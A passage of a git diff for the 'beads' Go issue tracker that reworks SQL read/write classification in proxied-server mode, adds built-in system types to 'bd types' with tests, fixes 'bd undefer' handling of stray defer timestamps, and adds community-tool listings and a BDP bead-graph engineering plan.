output:\n%s", stdout) + } + var res map[string]interface{} + if err := json.Unmarshal([]byte(stdout[start:]), &res); err != nil { + t.Fatalf("parse exec JSON: %v\nraw: %s", err, stdout[start:]) + } + if !sqlValueEquals(res["rows_affected"], 1) { + t.Errorf("expected rows_affected=1, got %v", res["rows_affected"]) + } + + db := openProxiedDB(t, p) + var priority int + if err := db.QueryRow("SELECT priority FROM issues WHERE id = ?", two.ID).Scan(&priority); err != nil { + t.Fatalf("query priority for %s: %v", two.ID, err) + } + if priority != 0 { + t.Errorf("expected committed priority=0, got %d", priority) + } + }) + + t.Run("call_renders_result_set", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, "CALL DOLT_BRANCH('sql-routing-probe')") + if len(rows) != 1 { + t.Fatalf("expected the procedure's 1 status row, got %d: %v", len(rows), rows) + } + if _, ok := rows[0]["status"]; !ok { + t.Errorf("expected a status column, got %v", rows[0]) + } + branches := bdProxiedSQLJSON(t, bd, p.dir, "SELECT name FROM dolt_branches WHERE name = 'sql-routing-probe'") + if len(branches) != 1 { + t.Errorf("expected the CALL to have created branch sql-routing-probe, got %v", branches) + } + }) +} diff --git a/cmd/bd/sql_proxied_server.go b/cmd/bd/sql_proxied_server.go index 5e43622df..894c7e37c 100644 --- a/cmd/bd/sql_proxied_server.go +++ b/cmd/bd/sql_proxied_server.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/sqlclass" "github.com/steveyegge/beads/internal/storage/uow" ) @@ -16,9 +17,16 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleError("proxied-server UOW provider not initialized") } - multiStatement := isMultiStatementSQL(query) + if isMultiStatementSQL(query) { + CheckReadonly("sql") + if _, err := runSQLProxiedExec(ctx, query); err != nil { + return err + } + return printSQLStatusOK() + } - if !multiStatement && sqlQueryIsRead(query) { + switch sqlclass.Classify(query) { + case sqlclass.Read: result, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, error) { return uw.RawSQLUseCase().Query(ctx, query) }) @@ -26,10 +34,45 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleErrorRespectJSON("query error: %v", err) } return renderRawSQLResult(result, csvOutput) + + case sqlclass.Write: + CheckReadonly("sql") + affected, err := runSQLProxiedExec(ctx, query) + if err != nil { + return err + } + if jsonOutput { + return outputJSON(map[string]interface{}{ + "rows_affected": affected, + }) + } + fmt.Printf("OK, %d rows affected\n", affected) + return nil + + default: + // The statement may write and may return rows. Run it through Query + // inside a committing transaction so a result set is rendered rather + // than silently discarded, and any write is committed rather than + // rolled back with a read transaction. + CheckReadonly("sql") + result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, string, error) { + result, err := uw.RawSQLUseCase().Query(ctx, query) + if err != nil { + return nil, "", err + } + return result, "bd sql: " + query, nil + }) + if err != nil { + return HandleErrorRespectJSON("query error: %v", err) + } + if len(result.Columns) == 0 { + return printSQLStatusOK() + } + return renderRawSQLResult(result, csvOutput) } +} - CheckReadonly("sql") - +func runSQLProxiedExec(ctx context.Context, query string) (int64, error) { affected, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (int64, string, error) { affected, err := uw.RawSQLUseCase().Exec(ctx, query) if err != nil { @@ -38,26 +81,18 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return affected, "bd sql: " + query, nil }) if err != nil { - return HandleErrorRespectJSON("exec error: %v", err) - } - - if multiStatement { - if jsonOutput { - return outputJSON(map[string]interface{}{ - "status": "ok", - }) - } - fmt.Println("OK") - return nil + return 0, HandleErrorRespectJSON("exec error: %v", err) } + return affected, nil +} +func printSQLStatusOK() error { if jsonOutput { return outputJSON(map[string]interface{}{ - "rows_affected": affected, + "status": "ok", }) } - - fmt.Printf("OK, %d rows affected\n", affected) + fmt.Println("OK") return nil } @@ -134,59 +169,6 @@ func topLevelStatementCount(query string) int { return count } -func sqlQueryIsRead(query string) bool { - trimmed := strings.TrimSpace(strings.ToUpper(query)) - switch { - case strings.HasPrefix(trimmed, "SELECT"), - strings.HasPrefix(trimmed, "EXPLAIN"), - strings.HasPrefix(trimmed, "PRAGMA"), - strings.HasPrefix(trimmed, "SHOW"), - strings.HasPrefix(trimmed, "DESCRIBE"): - return true - case strings.HasPrefix(trimmed, "WITH"): - return withOuterStatementIsRead(trimmed) - default: - return false - } -} - -func withOuterStatementIsRead(upperTrimmed string) bool { - depth := 0 - var quote byte - closedCTE := false - for i := 0; i < len(upperTrimmed); i++ { - c := upperTrimmed[i] - if quote != 0 { - if c == quote { - quote = 0 - } - continue - } - switch c { - case '\'', '"', '`': - quote = c - case '(': - depth++ - case ')': - depth-- - if depth == 0 { - closedCTE = true - } - case ' ', '\t', '\n', '\r', ',': - if c == ',' && depth == 0 { - closedCTE = false - } - default: - if depth == 0 && closedCTE { - rest := strings.TrimLeft(upperTrimmed[i:], " \t\n\r") - return strings.HasPrefix(rest, "SELECT") || - strings.HasPrefix(rest, "EXPLAIN") - } - } - } - return true -} - func renderRawSQLResult(result *domain.RawSQLResult, csvOutput bool) error { columns := result.Columns diff --git a/cmd/bd/test_dolt_server_cgo_test.go b/cmd/bd/test_dolt_server_cgo_test.go index 40c60bb06..b62b3d8d8 100644 --- a/cmd/bd/test_dolt_server_cgo_test.go +++ b/cmd/bd/test_dolt_server_cgo_test.go @@ -38,7 +38,10 @@ func startTestDoltServer() func() { return func() { testutil.TerminateDoltContainer() } } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + // Nothing has been started yet; there is nothing to clean up. + os.Exit(1) + } return func() {} } diff --git a/cmd/bd/types.go b/cmd/bd/types.go index a10d65a52..727833260 100644 --- a/cmd/bd/types.go +++ b/cmd/bd/types.go @@ -6,7 +6,9 @@ import ( "strings" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -26,14 +28,45 @@ var coreWorkTypes = []struct { {types.TypeMilestone, "Marks completion of a set of related issues (contains no work itself)"}, } +// systemTypeDescriptions describes the built-in types that are not core work +// types. bd's own commands create them (mail, molecules, gates, set-state), and +// like the core types they validate without any types.custom entry. +var systemTypeDescriptions = map[types.IssueType]string{ + types.TypeMessage: "Message between agents or users", + types.TypeMolecule: "Molecule root for swarm coordination (bd mol)", + types.TypeGate: "Async coordination gate (bd gate, formula gates)", + types.TypeEvent: "Audit-trail event (bd set-state)", +} + +// systemWorkTypes lists every built-in type that is not a core work type, in +// the types package's declaration order. Together with coreWorkTypes it covers +// exactly the types IssueType.IsBuiltIn accepts. +func systemWorkTypes() []typeInfo { + core := make(map[types.IssueType]bool, len(coreWorkTypes)) + for _, t := range coreWorkTypes { + core[t.Type] = true + } + var out []typeInfo + for _, t := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if core[t] { + continue + } + out = append(out, typeInfo{Name: string(t), Description: systemTypeDescriptions[t]}) + } + return out +} + var typesCmd = &cobra.Command{ Use: "types", GroupID: "views", Short: "List valid issue types", Long: `List all valid issue types that can be used with bd create --type. -Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) are always valid. -Additional types require configuration via types.custom in .beads/config.yaml. +Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) +and system types (message, molecule, gate, event) are always valid. +Custom types are registered with 'bd config set types.custom' or declared under +types.custom in .beads/config.yaml; the list shown is exactly the set that +bd create --type accepts. Examples: bd types # List all types with descriptions @@ -55,32 +88,56 @@ Examples: return printSections(jsonOutput) } - if usesProxiedServer() { - return runTypesProxiedServer(rootCtx) - } - - if err := ensureDirectMode("types command requires direct database access"); err != nil { - return HandleError("%v", err) - } - - var customTypes []string - ctx := context.Background() - if store != nil { - if ct, err := store.GetCustomTypes(ctx); err == nil { - customTypes = ct + if !usesProxiedServer() { + if err := ensureDirectMode("types command requires direct database access"); err != nil { + return HandleError("%v", err) } } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleError("%v", err) + } return renderTypes(customTypes) }, } +// resolveWorkspaceCustomTypes returns the workspace's registered custom issue +// types in either storage mode. Both routes end in issueops.ComposeCustomTypes, +// the rule issue create/update validation also resolves through, so what +// `bd types` lists is exactly what `bd create --type` accepts. +func resolveWorkspaceCustomTypes(ctx context.Context) ([]string, error) { + if usesProxiedServer() { + uw, err := openProxiedListUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + customTypes, err := uw.ConfigUseCase().GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil + } + if store == nil { + // No database is open (e.g. a --dry-run plan check): the config.yaml + // layer is the only one available, composed by the same rule. + return issueops.ComposeCustomTypes(nil, "", config.GetCustomTypesFromYAML()), nil + } + customTypes, err := store.GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil +} + func renderTypes(customTypes []string) error { if jsonOutput { result := struct { CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` CustomTypes []string `json:"custom_types,omitempty"` - }{} + }{SystemTypes: systemWorkTypes()} for _, t := range coreWorkTypes { result.CoreTypes = append(result.CoreTypes, typeInfo{ @@ -97,6 +154,11 @@ func renderTypes(customTypes []string) error { fmt.Printf(" %-14s %s\n", t.Type, t.Description) } + fmt.Println("\nSystem types (built-in, created by bd commands):") + for _, t := range systemWorkTypes() { + fmt.Printf(" %-14s %s\n", t.Name, t.Description) + } + if len(customTypes) > 0 { fmt.Println("\nConfigured custom types:") for _, t := range customTypes { diff --git a/cmd/bd/types_builtin_test.go b/cmd/bd/types_builtin_test.go new file mode 100644 index 000000000..bed351643 --- /dev/null +++ b/cmd/bd/types_builtin_test.go @@ -0,0 +1,40 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestBdTypesListsEveryBuiltIn pins that `bd types` (core + system sections) +// lists exactly the types that validate without configuration, i.e. the set +// IssueType.IsBuiltIn accepts, each with a description. +func TestBdTypesListsEveryBuiltIn(t *testing.T) { + listed := map[types.IssueType]bool{} + for _, ct := range coreWorkTypes { + if listed[ct.Type] { + t.Errorf("core type %q listed twice", ct.Type) + } + listed[ct.Type] = true + } + for _, st := range systemWorkTypes() { + it := types.IssueType(st.Name) + if listed[it] { + t.Errorf("type %q listed as both core and system", it) + } + if st.Description == "" { + t.Errorf("system type %q has no description", it) + } + listed[it] = true + } + for it := range listed { + if !it.IsBuiltIn() { + t.Errorf("bd types lists %q as built-in, but IsBuiltIn rejects it", it) + } + } + for _, it := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if !listed[it] { + t.Errorf("built-in type %q validates without configuration but bd types does not list it", it) + } + } +} diff --git a/cmd/bd/types_create_agreement_test.go b/cmd/bd/types_create_agreement_test.go new file mode 100644 index 000000000..a371dab96 --- /dev/null +++ b/cmd/bd/types_create_agreement_test.go @@ -0,0 +1,130 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// typesAgreementRunner runs bd in a workspace and returns stdout (or stdout+stderr on +// failure) plus the exit error. +type typesAgreementRunner func(t *testing.T, args ...string) ([]byte, error) + +// assertTypesAgreeWithCreate is the `bd types` ⇔ `bd create --type` contract: +// every type `bd types --json` lists is accepted by create and by +// storage-class config validation, and an unlisted type is rejected. +// Custom types are seeded from both sources — the database (bd config set) +// and the project's .beads/config.yaml — because each storage mode resolves +// them; the listing and validation paths must compose them identically. +func assertTypesAgreeWithCreate(t *testing.T, run typesAgreementRunner, beadsDir string) { + t.Helper() + + if out, err := run(t, "config", "set", "types.custom", "dbtype"); err != nil { + t.Fatalf("config set types.custom: %v\n%s", err, out) + } + cfgPath := filepath.Join(beadsDir, "config.yaml") + cfg, err := os.ReadFile(cfgPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + if strings.Contains(string(cfg), "types.custom") || strings.Contains(string(cfg), "\ntypes:") { + t.Fatalf("fixture config.yaml already declares types; test assumes it does not:\n%s", cfg) + } + cfg = append(cfg, []byte("\ntypes.custom: \"yamltype\"\n")...) + if err := os.WriteFile(cfgPath, cfg, 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + + out, err := run(t, "types", "--json") + if err != nil { + t.Fatalf("types --json: %v\n%s", err, out) + } + var listed struct { + CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` + CustomTypes []string `json:"custom_types"` + } + if err := json.Unmarshal(out, &listed); err != nil { + t.Fatalf("unmarshal types --json: %v\n%s", err, out) + } + names := map[string]bool{} + for _, ti := range append(listed.CoreTypes, listed.SystemTypes...) { + names[ti.Name] = true + } + for _, c := range listed.CustomTypes { + names[c] = true + } + + // Types create is known to accept must be listed. + for _, want := range []string{"task", "message", "molecule", "gate", "event", "dbtype", "yamltype"} { + if !names[want] { + t.Errorf("bd types does not list %q, but bd create accepts it; listed=%v", want, names) + } + } + + // Every listed type must be accepted by create ... + for name := range names { + if out, err := run(t, "create", "--silent", "--type", name, "agreement "+name); err != nil { + t.Errorf("bd types lists %q but bd create --type %s failed: %v\n%s", name, name, err, out) + } + } + // ... and by storage-class validation, which names issue types too. + for _, name := range listed.CustomTypes { + if out, err := run(t, "config", "set", "storage-class."+name, "versioned"); err != nil { + t.Errorf("bd types lists %q but config set storage-class.%s failed: %v\n%s", name, name, err, out) + } + } + + // An unlisted type is rejected. + if out, err := run(t, "create", "--silent", "--type", "notregistered", "agreement unlisted"); err == nil { + t.Errorf("bd create accepted unlisted type notregistered: %s", out) + } +} + +func TestProxiedServerTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdProxiedRun(t, bd, p.dir, args...) + }, p.beadsDir) +} + +func TestEmbeddedTypesAgreeWithCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdRunWithFlockRetry(t, bd, dir, args...) + }, beadsDir) +} + +// Server mode (`bd init --server` against an external dolt sql-server) lists +// through DoltStore.GetCustomTypes, the resolver that used to drop +// config.yaml types once the database had any. +func TestServerModeTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newServerModeProject(t, bd, "tas") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = p.dir + cmd.Env = p.env + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + return append(stdout.Bytes(), stderr.Bytes()...), err + } + return stdout.Bytes(), nil + }, p.beadsDir) +} diff --git a/cmd/bd/types_proxied_server.go b/cmd/bd/types_proxied_server.go deleted file mode 100644 index cefb89af6..000000000 --- a/cmd/bd/types_proxied_server.go +++ /dev/null @@ -1,20 +0,0 @@ -package main - -import ( - "context" -) - -func runTypesProxiedServer(ctx context.Context) error { - uw, err := openProxiedListUOW(ctx) - if err != nil { - return HandleError("%v", err) - } - defer uw.Close(ctx) - - var customTypes []string - if ct, err := uw.ConfigUseCase().GetCustomTypes(ctx); err == nil { - customTypes = ct - } - - return renderTypes(customTypes) -} diff --git a/cmd/bd/undefer.go b/cmd/bd/undefer.go index f2f0e0c81..08e251c6a 100644 --- a/cmd/bd/undefer.go +++ b/cmd/bd/undefer.go @@ -19,6 +19,10 @@ var undeferCmd = &cobra.Command{ This brings issues back from the icebox so they can be worked on again. Issues will appear in 'bd ready' if they have no blockers. +If an issue carries a defer_until timestamp but its status isn't +"deferred" (e.g. after an explicit --status change), undefer clears +the stray timestamp without touching status. + Examples: bd undefer bd-abc # Undefer a single issue bd undefer bd-abc bd-def # Undefer multiple issues`, @@ -64,15 +68,26 @@ Examples: fmt.Fprintf(os.Stderr, "Error getting %s: %v\n", fullID, err) continue } - if issue.Status != types.StatusDeferred { + + // Gate on defer_until, not status alone (ga-bq3w5): bd ready hides + // any issue with a future defer_until regardless of status, so + // `bd update --status open --defer ` leaves a status=open + // issue permanently invisible with no status-based signal anywhere. + // Mirrors GH#3233's `bd update --defer=""` gate (update.go): only + // flip status to open when it was actually "deferred" — other + // statuses shouldn't be clobbered just to clear a stray timestamp. + wasDeferred := issue.Status == types.StatusDeferred + if !wasDeferred && issue.DeferUntil == nil { fmt.Fprintf(os.Stderr, "%s is not deferred (status: %s)\n", fullID, string(issue.Status)) continue } updates := map[string]interface{}{ - "status": string(types.StatusOpen), "defer_until": nil, } + if wasDeferred { + updates["status"] = string(types.StatusOpen) + } if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { fmt.Fprintf(os.Stderr, "Error undeferring %s: %v\n", fullID, err) @@ -84,8 +99,10 @@ Examples: if issue != nil { undeferredIssues = append(undeferredIssues, issue) } - } else { + } else if wasDeferred { fmt.Printf("%s Undeferred %s (now open)\n", ui.RenderPass("*"), fullID) + } else { + fmt.Printf("%s Cleared stale defer_until on %s (status unchanged: %s)\n", ui.RenderPass("*"), fullID, string(issue.Status)) } } diff --git a/cmd/bd/undefer_embedded_test.go b/cmd/bd/undefer_embedded_test.go index 425e23213..088044a95 100644 --- a/cmd/bd/undefer_embedded_test.go +++ b/cmd/bd/undefer_embedded_test.go @@ -69,6 +69,79 @@ func TestEmbeddedUndefer(t *testing.T) { t.Errorf("expected 'not deferred' message: %s", out) } }) + + // ===== Stray defer_until on a non-deferred status (ga-bq3w5) ===== + + t.Run("undefer_clears_stray_defer_until_when_status_not_deferred", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Stray future defer on open issue", "--type", "task") + // Reproduces ga-bq3w5: an explicit --status wins over --defer's own + // status=deferred default (update.go), so this single command leaves + // status=open with a live future defer_until — exactly the shape that + // silently starves an issue out of `bd ready` with no status-based + // signal anywhere. + cmd := exec.Command(bd, "update", issue.ID, "--status", "open", "--defer", "2099-01-01") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd update --status open --defer failed: %v\n%s", err, out) + } + status, deferUntil := showDeferState(t, bd, dir, issue.ID) + if status != "open" || deferUntil == nil { + t.Fatalf("precondition: expected status=open with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + if ids := wakeReadyIDs(t, bd, dir); ids[issue.ID] { + t.Fatalf("precondition: issue should be hidden from bd ready by its future defer_until") + } + + out := bdUndefer(t, bd, dir, issue.ID) + if strings.Contains(out, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: %s", out) + } + + status, deferUntil = showDeferState(t, bd, dir, issue.ID) + if status != "open" { + t.Errorf("expected status to stay open, got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + if ids := wakeReadyIDs(t, bd, dir); !ids[issue.ID] { + t.Errorf("expected issue back in bd ready after undefer cleared its defer_until") + } + }) + + // ===== Stray defer_until on a non-open status must not be clobbered ===== + + t.Run("undefer_clears_stray_defer_until_without_clobbering_in_progress", func(t *testing.T) { + // The "open" case above can't distinguish the conditional status + // write (only flip to open when wasDeferred) from an unconditional + // one: writing status=open to an already-open issue is a no-op. + // in_progress makes the distinction observable. + issue := bdCreate(t, bd, dir, "Stray future defer on in_progress issue", "--type", "task") + cmd := exec.Command(bd, "update", issue.ID, "--status", "in_progress", "--defer", "2099-01-01") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd update --status in_progress --defer failed: %v\n%s", err, out) + } + status, deferUntil := showDeferState(t, bd, dir, issue.ID) + if status != "in_progress" || deferUntil == nil { + t.Fatalf("precondition: expected status=in_progress with defer_until set, got status=%q defer_until=%v", status, deferUntil) + } + + out := bdUndefer(t, bd, dir, issue.ID) + if strings.Contains(out, "is not deferred") { + t.Errorf("undefer refused instead of clearing the stray defer_until: %s", out) + } + + status, deferUntil = showDeferState(t, bd, dir, issue.ID) + if status != "in_progress" { + t.Errorf("expected status to stay in_progress (not clobbered to open), got %q", status) + } + if deferUntil != nil { + t.Errorf("expected defer_until cleared after undefer, got %v", deferUntil) + } + }) } // TestEmbeddedUndeferConcurrent exercises undefer operations concurrently. diff --git a/docs/community-tools.md b/docs/community-tools.md index 271411770..8ba7af45f 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -85,6 +85,12 @@ Install with `uv tool install git+https://github.com/jklenk/thread`. Built by [@ - **[LoopTroop](https://github.com/looptroop-ai/LoopTroop)** - Local AI coding orchestrator for automated task planning, execution, and feedback loops. Uses a Beads-inspired methodology with LLM Council consensus and worktree isolation. Built by [@looptroop-ai](https://github.com/looptroop-ai). (Node.js/TypeScript) +- **[beads-pm-kit](https://github.com/cuongbphv/beads-pm-kit)** - Ten skills that let an agent run a Beads board the way a project manager does: split a spec into sized beads, estimate from measured history, take and loop through ready work, run a batch in parallel worktrees, report progress, forecast an ETA (or refuse to give a date), audit "already done" claims, and hand off a session. One authored copy builds for Claude Code, Cursor, Codex and Antigravity; all reads and writes go through the `bd` CLI. Install with `npx skills add cuongbphv/beads-pm-kit`. Built by [@cuongbphv](https://github.com/cuongbphv). (Markdown/Node.js/Python) + +## Mail Delegates + +- **[aweb beads-mail](https://aweb.ai/docs/beads-mail/)** - Gives `bd mail` a mail provider in any beads repo: `npm i -g @awebai/aw`, `aw init`, `bd config set mail.delegate "aw beads-mail"`. [aweb](https://github.com/awebai/aweb) is an open-source communication layer for AI agents: each agent gets a stable identity and address, mail and chat are stored durably on a server so recipients can be offline, and a wake-up event tells the recipient's runtime (Claude Code, Pi, Codex, or any process reading the event stream) that work is waiting. Identities are either local, routable only inside one team, or global, addressable as `domain/name` across organizations and across independently run servers, which federate with each other. Messages are signed by the sender's own key and verified against a public registry, so `From:` is an identity rather than a caller-asserted name. MIT; run the whole stack yourself with Docker, or use the hosted service at app.aweb.ai. Built by [@juanre](https://github.com/juanre). (Go/Python) + ## Coordination Servers - **[BeadHub](https://github.com/beadhub/beadhub)** - Open-source coordination server for AI agent teams running beads. The `bdh` CLI is a transparent wrapper over `bd` that adds work claiming, file reservation, presence awareness, and inter-agent messaging (async mail and sync chat). Includes a web dashboard. Free hosted at beadhub.ai for open-source projects. Built by [@juanre](https://github.com/juanre). (Python/TypeScript) diff --git a/engdocs/BDP_BEAD_GRAPH_PLAN.md b/engdocs/BDP_BEAD_GRAPH_PLAN.md new file mode 100644 index 000000000..bd0170aed --- /dev/null +++ b/engdocs/BDP_BEAD_GRAPH_PLAN.md @@ -0,0 +1,1467 @@ +# BDP in beads: the bead-graph plan + +**Status:** Draft v28 — feat/bead-graph — W-arch amendments **A1–A9 and rulings 13–14 RULED 2026-09-07; A10 RULED 2026-09-08**; every P-1 decision is ruled; **P0 is open**. (Thirteen adversarial review rounds: +1–7 on the whole plan, SOUND at round 7; 8–13 on the storage-interfaces +section, SOUND-ADDITION at round 13; v6 withdrew the Issue projection from +v0 on review-round-5 counterexamples; v9–v11 record the P-1 ruling tranches — all +twelve decisions are ruled; v14–v21 reopened P-1 for the nine amendments; v22–v23 record all nine ruled; v24–v25 record rulings 13–14; v26 records the 2026-09-09 source alignment and council gate/traceability corrections; v27 carries the 2026-09-10 formal-review corrections and dependency refresh; v28 records P0 Read adoption on this owning design surface and the 2026-09-12 dependency refresh; P0 current-wire completion remains open) +**Date:** 2026-09-12 (v27: 2026-09-10; v26: 2026-09-09; v1: 2026-08-31; v25: 2026-09-02) +**Owners:** Donna Box (ruling), janet (drafting/implementation) +**References:** the BDP spec (gastownhall/bdp `docs/specs/bdp.md`), beads#6051, +this repo's `backend/` conformance surface, `engdocs/PROJECT_CHARTER.md`. + +## Terminology + +- **Graph beads / graph links** — Resources in the **graph store**: the + BDP-shaped tables (beads, links, Type Descriptors, allocation/tombstone + ledger, authority marker) reached through the normalized storage + abstraction and served over BDP. ("Native" was retired: inside this repo + it reads as the existing implementation, the opposite of what was meant.) +- **The graph store** — the graph contract realized by any storage provider + (Dolt in tree is the reference realization; other providers plug in + through the same `backend/` contract). +- **Issues / Dependencies / wisps** — the existing issue stack. Unchanged, + not served over BDP in v0. +- **The bead graph** — the union concept from ruling 1: the graph beads will + eventually hold work AND non-work information (wisps being the existing + example of non-work information) once the C lane lands. + +## 0. The BDP pin, and the spec-first dependency + +The original P0 wire input targeted the BDP spec **as of the owned-Links rulings**: +**BDP commit `0b7d86e7`** (the gastownhall/bdp PR #18 merge, 2026-09-07, carried attribution for #10; supersedes the `aee075f5` pin of PR #17), +schema bundle `schemas/bdp-v0.schema.json` at that commit, Read conformance +matrix `packages/conformance/matrices/read-v1.json` at that commit +(40 scenarios: 35 normative + 5 diagnostic, all profile `read` — counted at the pin +during P0 vendoring; earlier drafts said 38). +**No implementation phase begins until the pin is written here.** BDP remains +a draft; "matrix green" exits below mean green against the *pinned* matrix, +re-pinned deliberately, never against a moving `main`. + +### P0 Read adoption record (2026-09-10) + +The current P0 contract input supersedes the original pin above with the exact +BDP Read foundation merge `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`. +The spec blob is `79049a703ef957e3eed7cbe56c093356c47b0658`. The vendored +27-definition schema SHA-256 is +`e4c4b7bebd75fe06cd4f7a39c5731c774bf23437dd7d01114819b436b624e4d3`; +Read catalog SHA-256 is +`8867d1eed53f9f37047e11835c0a5a2021d9ff3140f64245cd38735f754d9924`; +46-plan Read matrix SHA-256 is +`4e087ff545b514e9cc0608ffebc8ccd7deeb0a9baa2cdd67c5450a9ea9e0900a`. +The upstream ordered named Read projection is +`b4c13b1d8e78bd556ace7db9c65729f86ea43428c069168bc3aba84bbe073d1a`, +recorded in [`docs/design/evidence/read-cohort/read-v1.json`](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/docs/design/evidence/read-cohort/read-v1.json) +at `targets[].segments[].bindings.schemaReadProjection`. This is the SHA-256 +of canonical JSON/JCS bytes of the ordered `[name, definition]` pairs for the +27 sealed names, not a source-file hash. The pinned +[`projectReadSchemaBundle` recipe](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/packages/conformance/src/schema-read-projection.ts) +defines that order; the [cohort generator](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/scripts/generate-read-cohort.mts#L565-L569) +binds the digest and the [evidence gate](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/scripts/read-cohort-evidence.mjs#L332-L358) +recomputes it. +This is provenance of the adopted upstream Read input, not Go observation evidence. +All six verbatim files and 13 extracted examples have complete byte/blob/range +records in [the dated PROVENANCE snapshot on the published P0 branch](https://github.com/gastownhall/beads/blob/a4b0ff638b4a5cebbe1b2d504897ae1449bd308f/internal/httpapi/bdpwire/schema/PROVENANCE). + +Local source adoption is recorded by `4ab80d75f3a11a9c53c5404251899eb1d4d29170`; +`fdfb2738d58e107b714013a4c5a6eb4b19461c52` corrects Go/ECMAScript line-terminator +parity without changing those vendored bytes. The tests on the dated Beads base and seven +executed Dolt spikes are recorded in +[the dated P0 verification snapshot on that published source](https://github.com/gastownhall/beads/blob/a4b0ff638b4a5cebbe1b2d504897ae1449bd308f/engdocs/BDP_P0_VERIFICATION_ROWS.md#current-main-read-contract-refresh--2026-09-10). +The P0 tree's own verification copy supersedes that snapshot's Files/Rerun guidance. +The initial refresh passed 95 top-level / 192 including subtests, zero skips. +That adoption updated the vendored inputs and DTO parity together, replaced +the old wildcard-rejection tripwire with adoption checks, and ported #27's +narrow `resource-erased` pointer prohibition while preserving harmless +RFC 9457 extensions, as recorded in the dated verification snapshot. +These are contract and spike checks. Hosted review/readiness, P1 mechanisms, +P2 HTTP serving and P3 write-profile adoption remain separate gates. These +dated results do not establish current hosted review or merge readiness. + +Model laws this plan builds to (the baseline pin plus the dated #19/#20 +Mutation results correction, pinned in §0a): + +- A Link is first-class; its `id`, `type`, `source`, `target`, and pin are + immutable; repoint/re-pin is delete-and-create. +- **Owned Links:** a Bead Type may own outgoing Link Types; each owned Link — + target, pin, and properties — is part of the source Bead's versioned state; + every mutation of an owned Link (create, delete, property update) versions + the source. The record read serves an `ownedLinks` member: complete Link + records, keyed by owned Link Type URL, ascending code-unit id order. + Unowned incident Links are a view and version nothing. +- Revisions are opaque and equality-only. **Each surviving Resource whose + state actually changes receives a fresh opaque revision; a semantic no-op + (RFC 6902 §4.6 value comparison) changes none; and A→B→A is three + distinct revisions — a reverse transition never reuses one.** Deletion + mints nothing for the deleted Resource — its result reports the deleted + identity **including its final live revision**, in the shared + `deletedIdentity` schema, carried as the result's `deleted` member + (`{ resourceKind, resource: { id, type, revision } }`; #19 Mutation results + in §0a, shared with #20); an owned-Link deletion result + additionally reports the owning source's fresh revision. +- References: the URI is identity; a pin is provenance, echoed byte-identical, + equality-only, never validated in v0. 